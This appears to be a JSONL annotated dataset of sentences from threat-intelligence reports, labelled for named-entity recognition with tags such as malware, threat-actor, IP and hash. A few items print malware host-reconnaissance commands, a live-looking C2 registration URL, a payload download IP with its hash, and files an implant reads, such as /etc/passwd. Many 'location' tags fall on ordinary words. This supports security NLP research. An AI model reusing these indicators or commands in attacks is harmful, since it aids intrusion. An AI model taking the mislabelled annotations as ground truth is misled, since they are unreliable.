{"id":11709,"text":"Malicious version of My First APP, which adds Metasploit     SideWinder has used malicious apps as part of its operation before.","entities":[{"id":36090,"label":"malware","start_offset":46,"end_offset":56},{"id":36091,"label":"threat-actor","start_offset":61,"end_offset":71}],"relations":[],"Comments":[]}
{"id":4382,"text":"HYPERSCRAPE demonstrates Charming Kitten\u2019s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":13145,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":50195,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":12581,"text":"This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.","entities":[],"relations":[],"Comments":[]}
{"id":11292,"text":"We need to request that a download link be generated for the collected files with the \u201ctrendmicro-visionone-download-information-for-collected-forensic-file\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":13494,"text":"Some malicious actors, such as ransomware operators, earn directly from their cyberattacks.","entities":[],"relations":[],"Comments":[]}
{"id":5386,"text":"We have evidence that the routers of at least one vendor other than Asus and WatchGuard are connecting to Cyclops Blink C&Cs as well, but so far we have been unable to collect malware samples for this router brand.","entities":[{"id":51380,"label":"malware","start_offset":106,"end_offset":119}],"relations":[],"Comments":[]}
{"id":3889,"text":"They should also exercise an incident response plan and Implement regular data backup procedures on both IT and OT networks.","entities":[],"relations":[],"Comments":[]}
{"id":7302,"text":"It collects the following information from the infected system by invoking the following commands:  Command  Description  system_profiler SPHardwareDataType 2>\/dev\/null | awk '\/Processor \/ {split($0,line,\\\":\\\"); printf(\\\"%s\\\",line[2]);}'  Get processor information  15f20 = system_profiler SPHardwareDataType 2>\/dev\/null | awk '\/Memory\/ {split($0,line, \\\":\\\"); printf(\\\"%s\\\", line[2]);}'","entities":[],"relations":[],"Comments":[]}
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{"id":3040,"text":"Many apps these days have auto-update capabilities.","entities":[],"relations":[],"Comments":[]}
{"id":12391,"text":"We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.","entities":[],"relations":[],"Comments":[]}
{"id":4,"text":" The first known campaign was launched by Crimeware on November 2014.","entities":[{"id":45806,"label":"TIME","start_offset":55,"end_offset":68},{"id":48942,"label":"malware","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]}
{"id":4052,"text":"By using existing frameworks, examples of which are detailed in the following, it builds new backdoor variants more efficiently.","entities":[],"relations":[],"Comments":[]}
{"id":13297,"text":"The TSSL project has 64-bit version.","entities":[{"id":41403,"label":"identity","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
{"id":10074,"text":"Trend Micro's Zero-Day Initiative (ZDI) provided technical analysis of recently patched vulnerabilities in the SolarWinds Orion Platform.","entities":[],"relations":[],"Comments":[]}
{"id":11791,"text":"APT35 has relied on this technique since 2017 \u2014 targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":36358,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":36360,"label":"location","start_offset":93,"end_offset":101},{"id":36362,"label":"location","start_offset":137,"end_offset":140},{"id":36363,"label":"location","start_offset":141,"end_offset":149},{"id":36364,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
{"id":4717,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups\u2019s marketing information suggesting that they had a 0-day exploit for Android.","entities":[{"id":50611,"label":"TIME","start_offset":3,"end_offset":7},{"id":50612,"label":"threat-actor","start_offset":42,"end_offset":51},{"id":50614,"label":"SOFTWARE","start_offset":152,"end_offset":159},{"id":50613,"label":"threat-actor","start_offset":72,"end_offset":82},{"id":50615,"label":"attack-pattern","start_offset":134,"end_offset":147}],"relations":[],"Comments":[]}
{"id":5525,"text":"They involve a hacker deploying malicious code known as Magecart to an organization\u2019s website.","entities":[{"id":51529,"label":"malware","start_offset":56,"end_offset":64}],"relations":[],"Comments":[]}
{"id":863,"text":"They\u2019ve certainly caused a wealth of damage to end users with some of the more prominent malware families, such as CryptoLocker, CryptoWall, TorrentLocker, and TeslaCrypt infecting millions of users overall.","entities":[{"id":46398,"label":"malware","start_offset":160,"end_offset":170},{"id":46399,"label":"malware","start_offset":141,"end_offset":154},{"id":46400,"label":"malware","start_offset":129,"end_offset":139},{"id":46401,"label":"malware","start_offset":115,"end_offset":128}],"relations":[],"Comments":[]}
{"id":997,"text":" These accounts, which include an education (EDU) top-level domain email address with valid password, represent 42 of the world\u2019s top universities, across 10 countries:  ","entities":[],"relations":[],"Comments":[]}
{"id":8571,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":26488,"label":"location","start_offset":11,"end_offset":15},{"id":26490,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
{"id":6470,"text":"The command is connected to 187.236.212[.]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\\programdata directory.","entities":[{"id":20109,"label":"IPV4","start_offset":28,"end_offset":45},{"id":20110,"label":"location","start_offset":46,"end_offset":49},{"id":20111,"label":"SHA1","start_offset":99,"end_offset":163},{"id":20112,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
{"id":5936,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":18253,"label":"location","start_offset":144,"end_offset":148},{"id":18255,"label":"location","start_offset":236,"end_offset":239},{"id":18256,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
{"id":2714,"text":"Palo Alto Networks enterprise security platform is focused on providing an integrated approach to detecting and preventing advanced threats across each step in the attack kill-chain.","entities":[{"id":47954,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":8265,"text":"The new emails used more common phishing tactics, such as alleged requests for payment confirmation.","entities":[{"id":25515,"label":"attack-pattern","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]}
{"id":7793,"text":"Suspicious activity using ServHelper A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications.","entities":[{"id":24138,"label":"malware","start_offset":26,"end_offset":36},{"id":24139,"label":"location","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]}
{"id":9513,"text":"This malware and PuppetLoader\u2019s decrypted Loader.dlls share similar strings such as \u201c[-] UnExist pwszModuleFunName:\u201d.","entities":[{"id":29189,"label":"location","start_offset":13,"end_offset":16},{"id":29190,"label":"malware","start_offset":17,"end_offset":29}],"relations":[],"Comments":[]}
{"id":42,"text":"It shows the price that a criminal enterprise called IFRAME DOLLARS was charging to infect computers in various countries at that time.","entities":[{"id":44577,"label":"threat-actor","start_offset":53,"end_offset":67}],"relations":[],"Comments":[]}
{"id":1982,"text":" Figure 5: WinDBG view of call stack when lsass.exe process crashes due to exploitation  Vulnerable code is found in the CSsl3TlsClientContext::DigestServerHelloVerifyRequest function:  Palo Alto Networks is releasing signature 37094 and 37059 to defend against these vulnerabilities.","entities":[{"id":47094,"label":"SOFTWARE","start_offset":11,"end_offset":17},{"id":47095,"label":"identity","start_offset":186,"end_offset":204}],"relations":[],"Comments":[]}
{"id":4840,"text":"To help users and defenders, we will provide examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates and context around their capabilities and persistence mechanisms.","entities":[{"id":50794,"label":"attack-pattern","start_offset":61,"end_offset":74},{"id":50795,"label":"location","start_offset":90,"end_offset":95},{"id":50797,"label":"location","start_offset":113,"end_offset":133},{"id":50796,"label":"location","start_offset":97,"end_offset":103}],"relations":[],"Comments":[]}
{"id":5349,"text":"If a command targets the core component, it can be one of the following:   Command ID Action 0 Terminates the program 1 Bypasses the data-sending interval and sends data to C&C servers immediately 2 Adds a new C&C server to the list in memory 3 Sets time to send the next packet to the C&C server 4 Sets time to send the next packet to the C&C server 5 Adds a new module (an ELF file should be received following the command)","entities":[],"relations":[],"Comments":[]}
{"id":11636,"text":"While tracking the activities of the SideWinder group, which has become infamous for targeting the South Asia region and its surrounding countries, we identified a server used to deliver a malicious LNK file and host multiple credential phishing pages.","entities":[{"id":35704,"label":"location","start_offset":110,"end_offset":116},{"id":35705,"label":"location","start_offset":117,"end_offset":120},{"id":35706,"label":"location","start_offset":208,"end_offset":211},{"id":35707,"label":"location","start_offset":212,"end_offset":216},{"id":35708,"label":"attack-pattern","start_offset":237,"end_offset":245}],"relations":[],"Comments":[]}
{"id":3597,"text":"The different samples organized name, payload delivered and the fully-undetectable stages where the attribute \u201cKurdishCoderProduction\u201d is present","entities":[],"relations":[],"Comments":[]}
{"id":249,"text":"A cybersquatting domain save-russia[.]today is launching DoS attacks on Ukrainian news sites.","entities":[{"id":44656,"label":"attack-pattern","start_offset":2,"end_offset":16},{"id":44657,"label":"DOMAIN","start_offset":24,"end_offset":43},{"id":44658,"label":"attack-pattern","start_offset":57,"end_offset":68},{"id":44659,"label":"identity","start_offset":72,"end_offset":92}],"relations":[{"id":9,"from_id":44658,"to_id":44659,"type":"targets"},{"id":114,"from_id":44656,"to_id":44657,"type":"uses"},{"id":115,"from_id":44658,"to_id":44657,"type":"uses"}],"Comments":[]}
{"id":2375,"text":"We initially observed StealthVector, a shellcode loader written in C\/C++, in October 2020.","entities":[{"id":47437,"label":"malware","start_offset":22,"end_offset":35},{"id":47438,"label":"TIME","start_offset":77,"end_offset":89}],"relations":[],"Comments":[]}
{"id":13546,"text":"This script is likely activated by exploiting a cross-site scripting (XSS) vulnerability in the said store\u2019s administration portal.","entities":[{"id":51622,"label":"SOFTWARE","start_offset":101,"end_offset":130},{"id":51623,"label":"malware","start_offset":5,"end_offset":11},{"id":51621,"label":"attack-pattern","start_offset":48,"end_offset":74}],"relations":[{"id":1115,"from_id":51623,"to_id":51622,"type":"targets"},{"id":1116,"from_id":51623,"to_id":51621,"type":"uses"}],"Comments":[]}
{"id":1505,"text":" The backdoor when run will create threads for each connection listed in its config file.  The sample that was caught by our systems contains 3 IP addresses in its config file.","entities":[],"relations":[],"Comments":[]}
{"id":14111,"text":"Based on our analysis, we believe the malware author did not fake the compile times of the binaries.","entities":[],"relations":[],"Comments":[]}
{"id":3975,"text":"Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro\u2019s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection.","entities":[{"id":49836,"label":"identity","start_offset":114,"end_offset":125}],"relations":[],"Comments":[]}
{"id":10875,"text":"Date of submission  SHA256  Identified C&C servers  Additional Details  August 2, 2019  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  upeg-system-app[.]com  Likely repacked from Kingoroot.","entities":[{"id":33101,"label":"location","start_offset":0,"end_offset":4},{"id":33103,"label":"SHA1","start_offset":88,"end_offset":152},{"id":33104,"label":"location","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]}
{"id":4684,"text":"Process process = new Process(); process.StartInfo.Arguments = string.Format(\"PIPE Google \\\"{0}\\\"\", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();","entities":[],"relations":[],"Comments":[]}
{"id":2114,"text":"On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.","entities":[{"id":47248,"label":"TIME","start_offset":3,"end_offset":18},{"id":47249,"label":"vulnerability","start_offset":82,"end_offset":95},{"id":47252,"label":"SOFTWARE","start_offset":145,"end_offset":199},{"id":47250,"label":"vulnerability","start_offset":99,"end_offset":134}],"relations":[{"id":311,"from_id":47252,"to_id":47249,"type":"has"},{"id":312,"from_id":47252,"to_id":47250,"type":"has"}],"Comments":[]}
{"id":3640,"text":"Carrying out a successful conversation hijacking spear phishing attack requires knowing someone that the ultimate target is communicating with, compromising that person\u2019s account, identifying an ongoing email conversation with the ultimate target, crafting an email to appear part of that ongoing email conversation and finally sending it.","entities":[{"id":49421,"label":"attack-pattern","start_offset":49,"end_offset":63}],"relations":[],"Comments":[]}
{"id":2898,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 14)]","entities":[],"relations":[],"Comments":[]}
{"id":5443,"text":"There were 24.5 billion mobile banking transactions while there were 20.6 billion PC-based transactions.","entities":[],"relations":[],"Comments":[]}
{"id":1727,"text":"  Here we explain this type of attack and what you should do.","entities":[],"relations":[],"Comments":[]}
{"id":15,"text":"We found 147 new unique pieces of malware today alone, two of them fully undetectable by the legacy security solutions in VirusTotal and most of them barely detected by one vendor (few have 4\/57 detection rate).","entities":[{"id":44574,"label":"SOFTWARE","start_offset":122,"end_offset":132}],"relations":[],"Comments":[]}
{"id":1783,"text":"Leave a comment below let us know what you think.","entities":[],"relations":[],"Comments":[]}
{"id":726,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  On Sept. 14, 2021, Microsoft\u2019s Security Response Center (MSRC) released security patches detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package Open Management Infrastructure (OMI).","entities":[{"id":46298,"label":"TIME","start_offset":56,"end_offset":70},{"id":44843,"label":"identity","start_offset":72,"end_offset":115},{"id":44844,"label":"SOFTWARE","start_offset":212,"end_offset":272}],"relations":[],"Comments":[]}
{"id":1026,"text":"Navigating to CNRI\u2019s webmail page, we were then able to successfully access and send an email from that account.","entities":[{"id":46517,"label":"identity","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
{"id":1762,"text":"If an attacker could modify it, then any script can be run, such as downloading and executing a PE file, without any notification or alert.","entities":[],"relations":[],"Comments":[]}
{"id":10555,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":32182,"label":"tools","start_offset":4,"end_offset":8},{"id":32183,"label":"location","start_offset":71,"end_offset":75},{"id":32184,"label":"location","start_offset":83,"end_offset":87},{"id":32185,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
{"id":8760,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":2777,"text":"These new drive-by attacks focus on hijacking the computational resources of the victim\u2019s computer to \u201cmine\u201d cryptocurrency on behalf of the attackers.","entities":[{"id":48006,"label":"attack-pattern","start_offset":36,"end_offset":73}],"relations":[],"Comments":[]}
{"id":2601,"text":"For example, in the \u201cproof\u201d of the Okta breach posted on the Lapsus$ Group\u2019s Telegram channel, the actor states: \u201c\u2026 our focus was ONLY on okta customers\u201d (Figure 3)","entities":[{"id":45614,"label":"identity","start_offset":138,"end_offset":142},{"id":45611,"label":"identity","start_offset":35,"end_offset":39},{"id":45612,"label":"threat-actor","start_offset":61,"end_offset":68},{"id":45613,"label":"SOFTWARE","start_offset":77,"end_offset":85}],"relations":[{"id":360,"from_id":45612,"to_id":45611,"type":"targets"}],"Comments":[]}
{"id":5616,"text":"Once launched, it contacts a command and control server hosted in China using an HTTP GET request to the following website to register the infection with the attacker: http:\/\/14.17.95.205:21910\/my\/service.php.","entities":[{"id":17280,"label":"location","start_offset":37,"end_offset":40},{"id":17282,"label":"location","start_offset":126,"end_offset":134},{"id":17283,"label":"URL","start_offset":168,"end_offset":208}],"relations":[],"Comments":[]}
{"id":3181,"text":" Infection chain  ","entities":[],"relations":[],"Comments":[]}
{"id":3307,"text":"       Figure 23.","entities":[],"relations":[],"Comments":[]}
{"id":11676,"text":"We found several interesting dynamic DNS domains resolving to a server that was used to deliver SideWinder\u2019s malicious documents.","entities":[],"relations":[],"Comments":[]}
{"id":5199,"text":"Vulnerabilities in the standard specification","entities":[],"relations":[],"Comments":[]}
{"id":10248,"text":"Yet this is not always enough to hide these activities.","entities":[],"relations":[],"Comments":[]}
{"id":5531,"text":"Magecart attacks get around that.","entities":[{"id":51530,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
{"id":13408,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
{"id":13240,"text":"UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe.","entities":[{"id":41285,"label":"location","start_offset":16,"end_offset":20},{"id":41286,"label":"malware","start_offset":31,"end_offset":40},{"id":41287,"label":"location","start_offset":54,"end_offset":58},{"id":41288,"label":"location","start_offset":71,"end_offset":74},{"id":41289,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
{"id":7238,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including \u201cguest\u201d posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":22622,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":22623,"label":"location","start_offset":30,"end_offset":33},{"id":22624,"label":"location","start_offset":147,"end_offset":155},{"id":22625,"label":"location","start_offset":169,"end_offset":175},{"id":22626,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
{"id":13765,"text":"The API address table.","entities":[],"relations":[],"Comments":[]}
{"id":5378,"text":"The following data is obtained from an infected device:    The Linux version, which the module gets by calling the uname() function and \/etc\/issue file   Information about the device\u2019s memory consumption, which it gets by calling the sysinfo() function   The SSD storage information, which it gets by calling the statvfs() function  The content of the following files:  \/etc\/passwd \/etc\/group   \/proc\/mounts  \/proc\/partitions     Information about the network interfaces, which it gets by calling the if_nameindex() and iotctl() functions with the SIOCGIFHWADDR and SIOCGIFADDR commands.","entities":[{"id":51372,"label":"FILEPATH","start_offset":136,"end_offset":146},{"id":51374,"label":"FILEPATH","start_offset":382,"end_offset":392},{"id":51375,"label":"FILEPATH","start_offset":395,"end_offset":407},{"id":51376,"label":"FILEPATH","start_offset":409,"end_offset":425},{"id":51373,"label":"FILEPATH","start_offset":370,"end_offset":381}],"relations":[],"Comments":[]}
{"id":2031,"text":" The HelloXD author(s) did modify the infamous file marker and mutex however, opting for dxunmgqehhehyrhtxywuhwrvzxqrcblo as the file marker and With best wishes And good intentions\u2026 as the mutex (Figure 9).","entities":[{"id":47130,"label":"malware","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
{"id":3242,"text":"      Figure 15.","entities":[],"relations":[],"Comments":[]}
{"id":12908,"text":"A general detection indicates that something was deemed suspicious, but it was not assigned to a specific tactic or technique.","entities":[],"relations":[],"Comments":[]}
{"id":10570,"text":"Upon reviewing phishing attempts since the beginning of this year, we\u2019ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.","entities":[{"id":32243,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":32246,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
{"id":518,"text":"Figure 3 shows ransomware arrives via different application protocols.","entities":[],"relations":[],"Comments":[]}
{"id":7232,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
{"id":3285,"text":"The script used to download OBS Studio, prepare the configuration, and start the process     ScreenShot","entities":[{"id":48379,"label":"SOFTWARE","start_offset":28,"end_offset":38}],"relations":[],"Comments":[]}
{"id":14342,"text":"It disguised itself as the adult game named after an adult film actress.","entities":[],"relations":[],"Comments":[]}
{"id":5499,"text":"Compared to Patchwork, whose Trojanized documents exploit at least five security flaws, Confucius\u2019 backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882.","entities":[{"id":51507,"label":"attack-pattern","start_offset":144,"end_offset":172},{"id":51504,"label":"threat-actor","start_offset":88,"end_offset":97},{"id":51503,"label":"threat-actor","start_offset":12,"end_offset":21},{"id":51505,"label":"vulnerability","start_offset":189,"end_offset":202},{"id":51506,"label":"vulnerability","start_offset":207,"end_offset":221}],"relations":[{"id":1100,"from_id":51504,"to_id":51507,"type":"uses"}],"Comments":[]}
{"id":10179,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":31070,"label":"location","start_offset":23,"end_offset":31},{"id":31072,"label":"location","start_offset":113,"end_offset":117},{"id":31073,"label":"location","start_offset":124,"end_offset":130},{"id":31074,"label":"malware","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
{"id":6989,"text":"We have observed that the Remote Desktop Protocol (RDP) certificate associated in this deployment, \u201cWIN-P9NRMH5G6M8,\u201d is a common string found in previously identified Earth Karkaddan C&C servers.","entities":[{"id":21886,"label":"attack-pattern","start_offset":26,"end_offset":49},{"id":21887,"label":"malware","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
{"id":1272,"text":" Figure 5. Error message generated by Adobe.exe  ","entities":[{"id":44960,"label":"FILEPATH","start_offset":38,"end_offset":47}],"relations":[],"Comments":[]}
{"id":2854,"text":"Register for Ignite \u201917 Security Conference  Vancouver, BC June 12\u201315, 2017  ","entities":[{"id":48060,"label":"location","start_offset":45,"end_offset":58},{"id":48061,"label":"TIME","start_offset":59,"end_offset":75}],"relations":[],"Comments":[]}
{"id":3886,"text":"It also identifies how dependencies between an enterprise's IT and OT systems can give attackers a path.","entities":[],"relations":[],"Comments":[]}
{"id":9997,"text":"Scans the system\u2019s Windows version and computer name m.exe Custom Mimikatz (including 32bit \/ 64bit file)","entities":[{"id":30517,"label":"location","start_offset":35,"end_offset":38},{"id":30518,"label":"malware","start_offset":66,"end_offset":74}],"relations":[],"Comments":[]}
{"id":8130,"text":"All of this happens behind the overlay screen, unbeknownst to the user.","entities":[],"relations":[],"Comments":[]}
{"id":4931,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":50948,"label":"TIME","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
{"id":11391,"text":"We observed fewer than three dozen installs of this spyware.","entities":[],"relations":[],"Comments":[]}
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{"id":965,"text":"If the device has just booted, it will start the service MySd2e, which then registers a receiver for Rf2b as shown in Figure 3.","entities":[],"relations":[],"Comments":[]}
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{"id":7355,"text":"The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times.","entities":[{"id":22875,"label":"TIME","start_offset":56,"end_offset":74},{"id":22876,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
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{"id":1293,"text":"It then sends the 'exit' command to this executable, which will kill this particular process.","entities":[],"relations":[],"Comments":[]}
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{"id":6238,"text":"The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources.","entities":[{"id":19245,"label":"location","start_offset":4,"end_offset":10},{"id":19246,"label":"location","start_offset":14,"end_offset":19},{"id":19247,"label":"attack-pattern","start_offset":20,"end_offset":28},{"id":19248,"label":"location","start_offset":37,"end_offset":40},{"id":19249,"label":"location","start_offset":67,"end_offset":75},{"id":19250,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
{"id":13466,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":41953,"label":"location","start_offset":21,"end_offset":24},{"id":41954,"label":"location","start_offset":25,"end_offset":33},{"id":41955,"label":"location","start_offset":68,"end_offset":71},{"id":41956,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":41958,"label":"location","start_offset":138,"end_offset":141},{"id":41960,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
{"id":13133,"text":"That means customers have to ask prospective providers like Trend Micro a mountain of questions.","entities":[{"id":48906,"label":"identity","start_offset":60,"end_offset":71}],"relations":[],"Comments":[]}
{"id":6954,"text":"Upon enabling the macro, it will then download the ObliqueRat malware that is hidden inside an image file.","entities":[{"id":21770,"label":"location","start_offset":28,"end_offset":32},{"id":21771,"label":"tools","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]}
{"id":6217,"text":"We found that the returned script is a backdoor that gets its instructions from the WebSocket server.","entities":[],"relations":[],"Comments":[]}
{"id":7037,"text":"The launcher\u2019s behavior changes depending on the number of arguments passed to the executable.","entities":[],"relations":[],"Comments":[]}
{"id":1909,"text":"Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages.","entities":[{"id":47032,"label":"SOFTWARE","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
{"id":10140,"text":"The logo of the target organization has been removed from the screenshot and the color was changed as not to reveal the source.","entities":[{"id":30924,"label":"location","start_offset":16,"end_offset":22},{"id":30925,"label":"location","start_offset":73,"end_offset":76},{"id":30926,"label":"attack-pattern","start_offset":120,"end_offset":126}],"relations":[],"Comments":[]}
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{"id":6718,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
{"id":6174,"text":"The email leverages the webmail system\u2019s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script.","entities":[],"relations":[],"Comments":[]}
{"id":2080,"text":" Taking a closer look at x4k\u2019s main OS, we believe it to be a customized Kali Linux instance, tailored to his needs.","entities":[{"id":47207,"label":"threat-actor","start_offset":25,"end_offset":29},{"id":47208,"label":"SOFTWARE","start_offset":73,"end_offset":83}],"relations":[],"Comments":[]}
{"id":12561,"text":"It then elevated privileges to install the payload.","entities":[],"relations":[],"Comments":[]}
{"id":4439,"text":"We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.","entities":[],"relations":[],"Comments":[]}
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{"id":13535,"text":"They must also be nominated by their organization's leadership and commit to the requirements imposed by the program.","entities":[],"relations":[],"Comments":[]}
{"id":4328,"text":"It downloads an ASCII file from the same domain and converts it into binary before loading it on to the memory and jump to a dynamic function.","entities":[],"relations":[],"Comments":[]}
{"id":11611,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":35592,"label":"malware","start_offset":83,"end_offset":90},{"id":35593,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
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{"id":1311,"text":"These results are encrypted using the same technique mentioned previously.","entities":[],"relations":[],"Comments":[]}
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{"id":8151,"text":"Google Play URL of FileManager app found in one of the C&C servers.","entities":[],"relations":[],"Comments":[]}
{"id":449,"text":" This is a case where forewarned is forearmed, and that forearming can result in effective prevention.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":2340,"text":"It needed the address of dlopen and dlsym patched after the binary was loaded into memory.","entities":[],"relations":[],"Comments":[]}
{"id":9114,"text":"Figure 1. Exploit loading sequence in ria[.]ru (February 2012) Figure 2. [bg].ru (February 2012) found redirecting victims to Lurk\u2019s exploit kit Figure 3. Redirects to the Lurk landing page from adfox[.]ru banner network Figure 4. Malicious iframe content served by tks[.]ru (August 2013)","entities":[{"id":28138,"label":"threat-actor","start_offset":126,"end_offset":130},{"id":28140,"label":"malware","start_offset":172,"end_offset":176},{"id":28141,"label":"location","start_offset":177,"end_offset":184},{"id":28142,"label":"location","start_offset":185,"end_offset":189},{"id":28143,"label":"location","start_offset":206,"end_offset":212},{"id":28145,"label":"location","start_offset":248,"end_offset":255}],"relations":[],"Comments":[]}
{"id":2600,"text":"To this end, we are aware of this actor\u2019s involvement in vishing, SIM-swapping and soliciting third parties at providers for insider access.","entities":[],"relations":[],"Comments":[]}
{"id":2187,"text":"In this attack, attackers embedded the TDrop2 malware inside a legitimate video software package hosted on the software distributor\u2019s website.","entities":[{"id":45419,"label":"malware","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
{"id":11704,"text":"Non-malicious applications \u201cMy First APP\u201d and \u201cOpinion Poll\u201d     Another two applications were built from JavaPayload for Metasploit that will load extra code from the remote server configured in the sample.","entities":[{"id":36069,"label":"location","start_offset":42,"end_offset":45},{"id":36072,"label":"malware","start_offset":122,"end_offset":132},{"id":36073,"label":"location","start_offset":138,"end_offset":142},{"id":36074,"label":"location","start_offset":143,"end_offset":147},{"id":36075,"label":"location","start_offset":168,"end_offset":174},{"id":36076,"label":"location","start_offset":200,"end_offset":206}],"relations":[],"Comments":[]}
{"id":5088,"text":"In other cases, we observed fake websites \u2014 already set up to distribute trojanized cryptocurrency applications \u2014 hosting iframes and pointing their visitors to the exploit kit.","entities":[],"relations":[],"Comments":[]}
{"id":5356,"text":"The MTD provides an abstraction layer to access the device's flash memory.","entities":[],"relations":[],"Comments":[]}
{"id":779,"text":"From a researchers' point of view, deferred free created a few problems, one of the major ones being that the page heap feature may not work correctly.","entities":[],"relations":[],"Comments":[]}
{"id":5335,"text":"10 bytes are then written to the core component pipe.","entities":[],"relations":[],"Comments":[]}
{"id":4768,"text":"We ensure appropriate controls are built into the architecture of the system.","entities":[],"relations":[],"Comments":[]}
{"id":13783,"text":"An unusual Waterbear infection chain","entities":[],"relations":[],"Comments":[]}
{"id":8876,"text":"If the creation of the tool, batch file, and scheduled task is disregarded, it would seem that there is no connection between PlugX and the execution of the auxiliary tool.","entities":[{"id":27454,"label":"location","start_offset":23,"end_offset":27},{"id":27455,"label":"location","start_offset":41,"end_offset":44},{"id":27456,"label":"attack-pattern","start_offset":45,"end_offset":59},{"id":27457,"label":"location","start_offset":118,"end_offset":125},{"id":27458,"label":"malware","start_offset":126,"end_offset":131},{"id":27459,"label":"location","start_offset":132,"end_offset":135},{"id":27460,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
{"id":9430,"text":"This is done by hooking NTDLL APIs such as NtQueryAttributesFile, NtOpenFile, NtCreateSection, NtMapViewOfSection, NtQuerySection and ZwClose.","entities":[{"id":29017,"label":"attack-pattern","start_offset":16,"end_offset":23},{"id":29018,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
